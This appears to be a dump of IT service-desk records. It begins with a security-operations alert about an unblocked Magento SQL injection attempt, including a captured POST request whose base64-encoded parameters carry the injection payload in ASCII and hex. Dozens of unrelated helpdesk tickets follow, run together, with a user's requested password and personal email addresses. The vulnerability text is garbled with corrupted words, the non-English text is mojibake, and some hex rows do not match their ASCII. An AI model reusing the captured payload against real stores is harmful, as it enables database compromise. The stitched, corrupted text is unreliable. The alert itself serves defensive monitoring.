this ticket will effectively serve as a master ticket for any related alerts until we receive feedback from you on how to handle these events going forward. please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at. we have a number of options available for the handling of future alerts such as this one:
1) autoresolve these alerts directly to the portal (no explicit notification and events will be available for reporting purposes in the portal). this is most likely the best choice if you are not running the application being targeted.
2) ticket only escalation via a medium priority ticket (no phone call) for each unique source ip address for these alerts (this may generate a relatively large volume of incident tickets).
3) full escalation via a high priority ticket and a phone call for each unique source ip address.
we would not recommend options 2 and 3 since the exploit code is in the wild and merely identifying the sources of the attack may not be very useful, and we can always run reports on the portal to identify a list of attackers. instead we would recommend auditing your environment for vulnerable systems and updating them as necessary. once you have completed this, you could go with option 1 to suppress alerting on these events.
sincerely,
ctoc
=========================
technical details
=========================
a vulnerability exists in magento due to insufficient input validation within the mage\_adminhtml\_block\_widget\_grid::getcsvfile() function. a remote attacker could exploit this vulnerability to conduct sql injection attacks on vulnerable systems.
magento is an eusa platform. a vulnerability exists in magento commstorage\_product edition (ce) versions 1.4.00 through 1.5.0.1, version 1.5.1.0, versions 1.6.0.x, versions 1.6.1.x through 1.6.2.x, versions 1.7.x, and versions 1.8.x and 1.9.x and in magento enterprise edition (ee) versions prior to 1.14.2.0 due to insufficient input validation. user-controllable supplied via the 'popularity[field\_expr]' paramdntyeter, when the 'popularity[from]' or 'popularity[to]' paramdntyeter is set, is not properly sanitized for illegal or malicious content by the mage\_adminhtml\_block\_widget\_grid::getcsvfile() function prior to being stored in a $fieldname variable and used in an sql query. remote administrators could leverage this issue to conduct sql injection attacks by injectncqulao qauighdplicious sql code into an affected input. successful exploitation may permit an attacker to manipulate sql queries and execute arbitrary sql commands on the underlying database.
=========================
references
=========================
=========================
event data
=========================
related events:
event id: 44717197
event summary: 52853 vid68372 possible magento mage\_adminhtml\_block\_widget\_gridgetcsvfile() sql injection attempt inbound
occurrence count: 4
event count: 4
host and connection information
source ip: 166.78.155.100
source port: 55334
source ip geolocation: dallas, usa
destination ip: 208.211.136.158
destination port: 80
destination ip geolocation: usa, usa
connection directionality: incoming
protocol: tcp
http method: post
host: www.company.de
full url path: /admin/cms\_wysiwyg/directive/index/
device information
device ip: 208.211.136.207
device name: isensplant\_247.company.com
log time: 2016-09-17 at 11:35:02 utc
action: not blocked
vendor eventid: 393369
cvss score: 6.5
vendor priority: 2
vendor version: 7
scwx event processing information
sherlock rule id (sle): 2161562
inspector event id: 63726775
ontology id: 200020003203759378
event type id: 200020003203707850
agent id: 102989
event detail:
[\*\*] [1:21163964:2] 52853 vid68372 possible magento mage\_adminhtml\_block\_widget\_gridgetcsvfile() sql injection attempt inbound [\*\*]
[classification: none] [priority: 2] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]
[sensor id: 602981][event id: 393369][time: 2585223213.930745]
[src ip: 166.78.155.100][dst ip: 208.211.136.158][sport/itype: 55334][dport/icode: 80][proto: 6]
09/17/2016-11:35:02.930745 166.78.155.100:55334 -> 208.211.136.158:80
tcp ttl:54 tos:0x0 id:26997 iplen:20 dgmlen:1236 df
\*\*\*ap\*\*\* seq: 0x595823f2 ack: 0x6b4edac2 win: 0xe5 tcplen: 32
tcp options (3) => nop nop ts: 4341465171 309732804
==pcap 1==
[ex http\_uri 9: /admin/cms\_wysiwyg/directive/index/]
[ex http\_hostname 10: www.company.de]
[o:security]
ascii packet(s):
==pcap 1 ascii s==
....f\*.w.3..........e...iu@.6.;..n.d.....&.pyx#.kn.......9........j....apost./admin/cms\_wysiwyg/directive/index/.http/1.1..host:.www.company.de..accept:.\*/\*..content-length:.1022..content-type:.application/x-www-form-urlencoded....filter=\_chain9szv90exbllhvzzxjfawqsupply\_chain9szv9uyw1lksbwquxvrvmgkdesmiwwlcdvjywou0vmrunuihvzzxjfawqgrljptsbhzg1pbl91c2vyifdirvjfihvzzxjuyw1lid0gj3bvbgljescplcdgaxjzdg5hbwunkts=&\_\_\_directive=e3tibg9jayb0exblpufkbwluahrtbc9yzxbvcnrfc2vhcmnox2dyawqgb3v0chv0pwdldenzdkzpbgv9fq==&forwarded=1&
==pcap 1 ascii e==
hex packet(s):
==pcap 1 hex s==
000000 0c00 0000 662a dd57 b933 0e00 d404 0000 ....f\*.w.3......
000010 d404 0000 4500 04d4 6975 4000 3606 3b8a ....e...iu@.6.;.
000020 a64e 9b64 d0d3 889e d826 0050 5958 23f2 .n.d.....&.pyx#.
000030 6b4e dac2 8018 00e5 f939 0000 0101 080a kn.......9......
000040 c08b 4a8c 11cc 9b61 504f 5354 202f 6164 ..j....apost./ad
000050 6d69 6e2f 436d 735f 5779 7369 7779 672f min/cms\_wysiwyg/
000060 6469 7265 6374 6976 652f 696e 6465 782f directive/index/
000070 2048 5454 502f 312e 310d 0a48 6f73 743a .http/1.1..host:
000080 2077 7777 2e6b 656e 6e61 6d65 7461 6c2e .www.company.
000090 6465 0d0a 4163 6365 7074 3a20 2a2f 2a0d de..accept:.\*/\*.
0000a0 0a43 6f6e 7465 6e74 2d4c 656e 6774 683a .content-length:
0000b0 2031 3032 320d 0a43 6f6e 7465 6e74 2d54 .1022..content-t
0000c0 7970 653a 2061 7070 6c69 6361 7469 6f6e ype:.application
0000d0 2f78 2d77 7777 2d66 6f72 6d2d 7572 6c65 /x-www-form-urle
0000e0 6e63 6f64 6564 0d0a 0d0a 6669 6c74 6572 ncoded....filter
0000f0 3d63 4739 7764 5778 6863 6d6c 3065 5674 =cg9wdwxhcml0evt
000100 6d63 6d39 7458 5430 774a 6e42 7663 4856 mcm9txt0wjnbvchv
000110 7359 584a 7064 486c 6264 4739 6450 544d syxjpdhlbdg9dptm
000120 6d63 4739 7764 5778 6863 6d6c 3065 5674 mcg9wdwxhcml0evt
000130 6SID\_26 5756 735a 4639 6c65 4842 7958 5430 mawvszf9lehbyxt0
000140 774b 5474 5452 5651 6751 464e 4254 4651 wktttrvqgqfnbtfq
000150 6750 5341 6e63 6e41 6e4f 314e 4656 4342 gpsancnano1nfvcb
000160 4155 4546 5455 7941 3949 454e 5054 6b4e aueftuya9ienptkn
000170 4256 4368 4e52 4455 6f51 3039 4f51 3046 bvchnrduoq09oq0f
000180 554b 4342 4155 3046 4d56 4341 7349 4364 ukcbau0fmvcasicd
000190 305a 5731 775a 5773 6e4b 5341 704c 4342 0zw1wzwsnkerplcb
0001a0 4454 3035 4451 5651 6f4a 7a6f 6e4c 4342 dt05dqvqojzonlcb
0001b0 4155 3046 4d56 4341 704b 5474 5452 5578 au0fmvcapktttrux
0001c0 4651 3151 6751 4556 5956 464a 4249 446f fq1qgqevyvfjbido
0001d0 3949 4531 4257 4368 6c65 4852 7959 536b 9ie1bwchlehryysk
0001e0 6752 6c4a 5054 5342 685a 4731 7062 6c39 grljptsbhzg1pbl9
0001f0 3163 3256 7949 4664 4952 564a 4649 4756 1c2vyifdirvjfigv
000200 3464 484a 6849 456c 5449 4535 5056 4342 4dhjhieltie5pvcb
000210 4f56 5578 4d4f 306c 4f55 3056 5356 4342 ovuxmo0lou0vsvcb
000220 4a54 6c52 5049 4742 685a 4731 7062 6c39 jtlrpigbhzg1pbl9
000230 3163 3256 7959 4341 6f59 475a 7063 6e4e 1c2vyycaoygzpcnn
000240 3062 6d46 745a 5741 7349 4742 7359 584e 0bmftzwasigbsyxn
000250 3062 6d46 745a 5741 7359 4756 7459 576c 0bmftzwasygvtywl
000260 7359 4378 6764 584e 6c63 6d35 6862 5756 sycxgdxnlcm5hbwv
000270 674c 4742 7759 584e 7a64 3239 795a 4741 glgbwyxnzd29yzga
000280 7359 474e 795a 5746 305a 5752 674c 4742 sygnyzwf0zwrglgb
000290 7362 3264 7564 5731 674c 4742 795a 5778 sb2dudfrtglgbyzwx
0002a0 7659 5752 6659 574e 7358 325a 7359 5764 vywrfywnsx2zsywd
0002b0 674c 4742 7063 3139 6859 3352 7064 6d56 glgbpc19hy3rpdmv
0002c0 674c 4742 6c65 4852 7959 5741 7359 484a glgblehryywasyhj
0002d0 7758 3352 7661 3256 7559 4378 6763 6e42 wx3rva2vuycxgcnb
0002e0 6664 4739 725a 5735 6659 334a 6c59 5852 fdg9rzw5fy3jlyxr
0002f0 6c5a 4639 6864 4741 7049 465a 4254 4656 lzf9hdgapifzbtfv
000300 4655 7941 6f4a 305a 7063 6e4e 3062 6d46 fuyaoj0zpcnn0bmf
000310 745a 5363 734a 3078 6863 3352 7559 5731 tzscsj0xhc3ruyw1
000320 6c4a 7977 6e63 3256 6a64 584a 7064 486c ljywnc2vjdxjpdhl
000330 4162 5746 6e5a 5735 3062 324e 7662 5731 abwfnzw50b2nvbw1
000340 6c63 6d4e 6c4c 6d4e 7662 5363 734a 3342 lcmnllmnvbscsj3b
000350 7662 476c 6a65 5363 7351 4642 4255 314d vbgljescsqfbbu1m
000360 7354 6b39 584b 436b 734d 4377 774c 4445 stk9xkcksmcwwlde
000370 7351 4556 5956 464a 424c 4535 5654 4577 sqevyvfjble5vtew
000380 7349 4535 5056 7967 704b 5474 4a54 6c4e sie5pvygpkttjtln
000390 4655 6c51 6753 5535 5554 7942 6759 5752 fulqgsu5utybgywr
0003a0 7461 5735 6663 6d39 735a 5741 674b 4842 taw5fcm9szwagkhb
0003b0 6863 6d56 7564 4639 705a 4378 3063 6d56 hcmvudf9pzcx0cmv
0003c0 6c58 3278 6c64 6d56 734c 484e 7663 6e52 lx2xldmvslhnvcnr
0003d0 6662 334a 6b5a 5849 7363 6d39 735a 5639 fb3jkzxisupply\_chain9szv9
0003e0 3065 5842 6c4c 4856 7a5a 584a 6661 5751 0exbllhvzzxjfawq
0003f0 7363 6d39 735a 5639 7559 5731 6c4b 5342 supply\_chain9szv9uyw1lksb
000400 5751 5578 5652 564d 674b 4445 734d 6977 wquxvrvmgkdesmiw
000410 774c 4364 564a 7977 6f55 3056 4d52 554e wlcdvjywou0vmrun
000420 5549 4856 7a5a 584a 6661 5751 6752 6c4a uihvzzxjfawqgrlj
000430 5054 5342 685a 4731 7062 6c39 3163 3256 ptsbhzg1pbl91c2v
000440 7949 4664 4952 564a 4649 4856 7a5a 584a yifdirvjfihvzzxj
000450 7559 5731 6c49 4430 674a 3342 7662 476c uyw1lid0gj3bvbgl
000460 6a65 5363 704c 4364 4761 584a 7a64 4735 jescplcdgaxjzdg5
000470 6862 5755 6e4b 5473 3d26 5f5f 5f64 6972 hbwunkts=&\_\_\_dir
000480 6563 7469 7665 3d65 3374 6962 4739 6a61 ective=e3tibg9ja
000490 7942 3065 5842 6c50 5546 6b62 576c 7561 yb0exblpufkbwlua
0004a0 4852 7462 4339 795a 5842 7663 6e52 6663 hrtbc9yzxbvcnrfc
0004b0 3256 6863 6d4e 6f58 3264 7961 5751 6762 2vhcmnox2dyawqgb
0004c0 3356 3063 4856 3050 5764 6c64 454e 7a64 3v0chv0pwdldenzd
0004d0 6b5a 7062 4756 3966 513d 3d26 666f 7277 kzpbgv9fq==&forw
0004e0 6172 6465 643d 3126 arded=1&
==pcap 1 hex e==
[[3 of 4 events not shown due to space constraints]]
take action
ticket action:, is assigned to Assignment group: GRP\_2.Ticket with Short description: çƒ­åŽ‹ç‚‰4å·plcæŽ§åˆ¶å™¨é€šè®¯æ¨¡å—ç½‘ç»œåœ°å€ä¸¢å¤±, Description: ä»Šå¹´å‘ç”Ÿäº†5æ¬¡ç½‘ç»œåœ°å€ä¸¢å¤±ï¼Œéœ€è¦é‡å¯è®¾å¤‡åŽï¼Œæ‰èƒ½é‡æ–°æ¢å¤ï¼Œåœ¨å…¶ä»–è®¾å¤‡ä¸Šæ— æ­¤æ•…éšœã€‚æ˜¯å¦ç»‘å®šipåœ°å€ï¼Ÿ, is assigned to Assignment group: GRP\_30.Ticket with Short description: reset passwords for hgyvopct dhckfmbq using password\_management\_tool password reset., Description: è¯·å°†å¯†ç è®¾ç½®ä¸ºï¼šsdguo1609, is assigned to Assignment group: GRP\_17.Ticket with Short description: job Job\_2883 failed in job\_scheduler at: 09/18/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2883 failed in job\_scheduler at: 09/18/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bwdpmbkp failed in job\_scheduler at: 09/18/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwdpmbkp failed in job\_scheduler at: 09/18/2016 00:02:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_2883 failed in job\_scheduler at: 09/18/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2883 failed in job\_scheduler at: 09/18/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1321 failed in job\_scheduler at: 09/17/2016 23:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1321 failed in job\_scheduler at: 09/17/2016 23:51:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_2883 failed in job\_scheduler at: 09/17/2016 23:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2883 failed in job\_scheduler at: 09/17/2016 23:11:00, is assigned to Assignment group: GRP\_13.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: ç”µè„‘æ„å¤–è¿›æ°´ï¼Œå¸®åŠ©å¤„ç†ï¼è¯·äº¤å°è´ºï¼Œè°¢è°¢, Description: ç”µè„‘æ„å¤–è¿›æ°´ï¼Œå¸®åŠ©å¤„ç†ï¼è¯·äº¤å°è´ºï¼Œè°¢è°¢, is assigned to Assignment group: GRP\_30.Ticket with Short description: job Job\_370 failed in job\_scheduler at: 09/17/2016 22:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_370 failed in job\_scheduler at: 09/17/2016 22:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp logon, Description:
received from: rujpckto.lhutkpxm@gmail.com
help team
today is chinese working day. can you open erp system aerp?
rujpckto lhutkpxm(æœ±å®)
materials manager
company (apac) co., ltd.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: alwaysupservice.exe is not running in many plm conversion servers, Description: HostName\_107; HostName\_108; HostName\_521; HostName\_520; HostName\_986 : alwaysupservice.exe is not running, is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_567 failed in job\_scheduler at: 09/17/2016 20:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_567 failed in job\_scheduler at: 09/17/2016 20:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1391 failed in job\_scheduler at: 09/17/2016 18:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1391 failed in job\_scheduler at: 09/17/2016 18:25:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1665 failed in job\_scheduler at: 09/17/2016 18:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1665 failed in job\_scheduler at: 09/17/2016 18:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1336 failed in job\_scheduler at: 09/17/2016 17:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1336 failed in job\_scheduler at: 09/17/2016 17:43:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job bwdpmbkp failed in job\_scheduler at: 09/17/2016 14:48:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwdpmbkp failed in job\_scheduler at: 09/17/2016 14:48:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_3194 failed in job\_scheduler at: 09/17/2016 14:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3194 failed in job\_scheduler at: 09/17/2016 14:10:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: received call from , music was playing but no one was awswering., Description: received call music was playing but no one was answering.\_x000D\_
\_x000D\_
interaction id : 2064305748, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1429 failed in job\_scheduler at: 09/17/2016 11:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1429 failed in job\_scheduler at: 09/17/2016 11:43:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job bkwin\_ms\_cluster\_full failed in job\_scheduler at: 09/17/2016 11:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_ms\_cluster\_full failed in job\_scheduler at: 09/17/2016 11:16:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1422 failed in job\_scheduler at: 09/17/2016 10:56:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1422 failed in job\_scheduler at: 09/17/2016 10:56:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: password reset : password\_management\_tool passwordmanager, Description: password reset : password\_management\_tool passwordmanager, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1318 failed in job\_scheduler at: 09/17/2016 10:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1318 failed in job\_scheduler at: 09/17/2016 10:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: account of thomafghk is disabled, Description: account of thomafghk is disabled, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation , Description: mobile device activation , is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation : company provided, Description: mobile device activation : company provided, is assigned to Assignment group: GRP\_0.Ticket with Short description: fwd: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom admin, Description: \_x000D\_
\_x000D\_
received from: nsoikcyf.jhybqael@gmail.com\_x000D\_
\_x000D\_
bitte um die freischaltung des neuen handy\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset alert from o365, Description: password reset alert from o365, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2041 failed in job\_scheduler at: 09/17/2016 05:44:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2041 failed in job\_scheduler at: 09/17/2016 05:44:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: cannot submit engineering\_tool to system, Description: when trying submit engineering\_tool to system have problem, the message error is "not connected with company network".\_x000D\_
i think i'm already connect with vpn company but if try to submit still get failed. please advise, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to submit reports in engineering\_tool , Description: not able to submit reports in engineering\_tool
contact # :, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_894 : volume: c:\ label:sys-HostName\_894 28385a7b is over 85% space consumed. space available: 4.1 g, Description: HostName\_894 : volume: c:\ label:sys-HostName\_894 28385a7b is over 85% space consumed. space available: 4.1 g\_x000D\_
, is assigned to Assignment group: GRP\_39.Ticket with Short description: kein internetsignal, Description: from: itjzudor ybtmorxp
sent: saturday, september 17, 2016 9:53 am
to: ecwtrjnq jpecxuty
cc: nwfodmhc exurcwkm
subject: \*\*\* sehr wichtig\*\*\* kein internetsignal
importance: high
hallo hartghymutg,
meine internetleitung geht mal wieder nicht.
anschluss
kein signal eingang, kein w-lan.
wo kann ich anrufen, bzw. wer unterstÃ¼tzt mich ?
danke fÃ¼r deine info.
mit freundlichen grÃ¼ÃŸen | best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1329 failed in job\_scheduler at: 09/17/2016 03:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1329 failed in job\_scheduler at: 09/17/2016 03:13:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 09/17/2016 03:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 09/17/2016 03:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_303 failed in job\_scheduler at: 09/17/2016 03:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_303 failed in job\_scheduler at: 09/17/2016 03:01:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: skype not working, Description:
name:ganedsght
language:
browser:microsoft internet explorer
email:plznsryi.ikugwqec@gmail.com
customer number:
telephone:
summary:skype not working
, is assigned to Assignment group: GRP\_0.Ticket with Short description: all servrs in job\_scheduler are unlinked, Description: all serves in job\_scheduler are unlinked.\_x000D\_
not responding while trying to reconnect., is assigned to Assignment group: GRP\_47.Ticket with Short description: HostName\_170- swap space on:HostName\_170 is 75% or less, Description: HostName\_170- swap space on:HostName\_170 is 75% or less, is assigned to Assignment group: GRP\_47.Ticket with Short description: unable to login to engineering tool , Description: unable to login to engineering tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: production\_order\_interface\_app server down in india. not able to release production orders, Description: production\_order\_interface\_app server down in india. not able to release production orders., is assigned to Assignment group: GRP\_14.Ticket with Short description: error message during route card release, Description:
received from: phqwmniy.kjucgqom@gmail.com
hello,
while route card release error message appearing and route card not get printed:
[cid:image003.jpg@01SID\_350c5.267b6b30]
required help in resolving the issue,
[cid:image004.png@01SID\_350c5.267b6b30]
p please do not print this email unless it is absolutely necessary. spread environmental awareness.
confidentiality caution: this communication (including any accompanying documents) is intended only for the sole use of the person(s) to whom it is addressed and may contain information that is privileged,confidential and exempt from disclosure. any unauthorised reading,dissemination ,distribution,duplication of this communication by someone other than the intended recipient is strictly prohibited. if your receipt of this communication is in error,please notify the sender and destrtgoy the original communication immediately., is assigned to Assignment group: GRP\_14.Ticket with Short description: unable to login to engineering tool , Description: unable to login to engineering tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: po print out., Description:
received from: wimozrdc.iodvtuaz@gmail.com
hello ,
please refer the screen shot below. we are not getting po prints. please do the needful.
[cid:image001.png@01SID\_350c2.20eb5840]
thanking you,
srinifghvahs.s.
wimozrdc.iodvtuaz@gmail.com<mailto:wimozrdc.iodvtuaz@gmail.com>
www.company.com<
, is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_549 failed in job\_scheduler at: 09/16/2016 23:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_549 failed in job\_scheduler at: 09/16/2016 23:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_39hoti failed in job\_scheduler at: 09/16/2016 18:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_39hoti failed in job\_scheduler at: 09/16/2016 18:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_861120, Description: ticket update on inplant\_861120, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset on hr\_tool and mii , Description: password reset on hr\_tool and mii , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to get the crm add-in on excel , Description: unable to get the crm add-in on excel , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset to login to collaboration\_platform and check paystub, Description: password reset to login to collaboration\_platform and check paystub, is assigned to Assignment group: GRP\_0.Ticket with Short description: user wants to download software shared with him from collaboration\_platform., Description: user wants to download software shared with him from collaboration\_platform.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user download the software on the local system.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: the correct delivery dates are not showing on the schedule lines and the output, Description: so# 35035632 is set up to ship 2nd day air which would be 9/20/16; however, erp is showing a delivery date of 9/21 (3 days).\_x000D\_
quote 3116244166 was entered with next day air shipping. the delivery date should be 9/16/16, but it is 9/20/16.\_x000D\_
quote 3116230798 was entered with next day air shipping. the delivery date should be 9/13/16, but it is 9/19/16., is assigned to Assignment group: GRP\_18.Ticket with Short description: phone issue, Description: \_x000D\_
\_x000D\_
received from: kxsceyzo.naokumlb@gmail.com\_x000D\_
\_x000D\_
i have a user that decided that she need to have her office turned 180 degrees. this means her phone is in another port. i managed to get it powered by using a poe injector. but currently her phone won't sync. her extension is 1223 and the mac address is 00.04.f2.d5.5b.aa.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: erp log in, Description:
received from: idkfgcnq.vjwhmzor@gmail.com
can you please unlock my erp. my password was not working after i changed it.
vyjmlain hvjbmdgi
senior technical service rep
inside-sales@company.com<mailto:inside-sales@company.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to erp , Description: unable to log in to erp , is assigned to Assignment group: GRP\_0.Ticket with Short description: erro programdntya docad - rj, Description: user: olghiveii
erro ao acessar programdntya docad:
"unavailable database", is assigned to Assignment group: GRP\_62.Ticket with Short description: slight change to desktop, Description: \_x000D\_
\_x000D\_
received from: crkdjbot.qiztrxne@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
is there a way to remove this information from my desktop screen?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: call from vitalyst : opportunities are not editable , Description: call from vitalyst : opportunities are not editable\_x000D\_
check screen shot.\_x000D\_
\_x000D\_
so we are required to use and enter our customer, lead and opportstorage\_product data into crm. we understand, but when we do this, many times the actual data entry fields are locked to us, we cannot enter anything. also the flow of the screen and the lack of any intuitive input is very much challenging! \_x000D\_
this is true on the opportstorage\_product screens, also the lead screens, etc. , is assigned to Assignment group: GRP\_22.Ticket with Short description: laptop \_ screen problem., Description:
received from: rohjghit.kumghtwar@company.com
dear it team ,
i am face problem in my laptop screen, there is vertical line strips are coming on screen from today . refer below pic..
earlier also i was facing this problem but it was not permanent but from today its continue on screen. kindly look into itâ€¦
[cid:image001.jpg@01SID\_3506f.3653c6c0]
rohjghit kumghtwar
application engineering
rohjghit.kumghtwar@company.com<mailto:rohjghit.kumghtwar@company.com>
, is assigned to Assignment group: GRP\_19.Ticket with Short description: admin access, Description: need the administrator access for user vijghyduhprga yeghrrajghodu to install the dac software, is assigned to Assignment group: GRP\_19.Ticket with Short description: the interface ethernet13/5(port-channel to fluke trueview appliance) on '28.70.69.134'intermittenly going down., Description: the interface ethernet13/5(port-channel to fluke trueview appliance) on '28.70.69.134'(company-dc-nx7018.company.com) is going down intermittently.\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: 9401555132 & 0512667163 vat not tally, Description: from: raghyvhdra najuty
sent: friday, september 16, 2016 4:50 pm
to: nwfodmhc exurcwkm
cc: srinfhyath araghtyu; parthyrubhji erathyur; hdfvbjoe obvrxtya; raghjkavhjkdra rao
subject: dan - re: 0512666243 & 0512667163 vat not tally
please refer below mail which mentions that vat does not tally in the inwarehouse\_tools no.0512666243 dated:-16/08/2016 and inwarehouse\_tool no.0512667163 dated:-18/08/2016
i had raised similar ticket last week for some other inwarehouse\_tools . we are coming across such issues frequently and request you to ensure that this type of error is not repeated .
, is assigned to Assignment group: GRP\_10.Ticket with Short description: can you please check the bobj account of stefdgthy. he gets the enclosed error message when trying to open a bobj report, Description: dear all,\_x000D\_
\_x000D\_
can you please check the bobj account of wohzmlib fxwjhapo. he gets the enclosed error message when trying to open a bobj report.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: one note issue : file not getting synched., Description: one note issue : file not getting synched.\_x000D\_
logged out and trying logging in back, no go.\_x000D\_
checked if other user are able to sync , no issues with other users., is assigned to Assignment group: GRP\_16.Ticket with Short description: printer not printing, Description: name:ljztkmds ltjkirwy
language:
browser:microsoft internet explorer
email:ljztkmds.ltjkirwy@gmail.com
customer number:
telephone:
summary:cannot access printers in the usa plant. acts like i need to install driver, but then does not give me access to HostName\_837.never had issues in the past. not sure if permissions changed when changes positions., is assigned to Assignment group: GRP\_0.Ticket with Short description: change mm packages from plant\_248 bom's, Description: hi team\_x000D\_
\_x000D\_
we need the items related below, must be replaced for the new packages filled in the plant\_248 bom's\_x000D\_
.\_x000D\_
current 6092194 - change by 7309918\_x000D\_
current 6092195 - change by 7309918\_x000D\_
current 6092196 - change by 7309919\_x000D\_
current 6092197 - change by 7309910\_x000D\_
current 6092101 - change by 7309910\_x000D\_
.\_x000D\_
, is assigned to Assignment group: GRP\_45.Ticket with Short description: unable to get audio on skype meeting , Description: unable to get audio on skype meeting , is assigned to Assignment group: GRP\_0.Ticket with Short description: entering power save mode : external monitor, Description: entering power save mode : external monitor, is assigned to Assignment group: GRP\_0.Ticket with Short description: stop hr jobs, Description: hi tim,\_x000D\_
\_x000D\_
please stop the attached hr jobs with immediate effect.\_x000D\_
hr160\_x000D\_
hr180\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_5.Ticket with Short description: expense report error - manager needs authorization, Description:
received from: ifblxjmc.dyrgfwbm@gmail.com
hello,
spqrtkew vpmnusaf needs authorization to approve expense reports for sqmabtwn fchijage. one team is correct with sqmabtwn fchijage reporting to avigtshay. the expense side just needs updated.
below is the error he is getting.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to login to ethics, Description: when trying to login to ethics, user gets the following error\_x000D\_
\_x000D\_
welcome to the company business ethics & conduct center\_x000D\_
(ethics) training site. our records indicate that the log-in\_x000D\_
credentials you used to access this site from the company's\_x000D\_
collaboration\_platform do not match the records we have on file within the\_x000D\_
active directory. please submit a ticket to the global support\_x000D\_
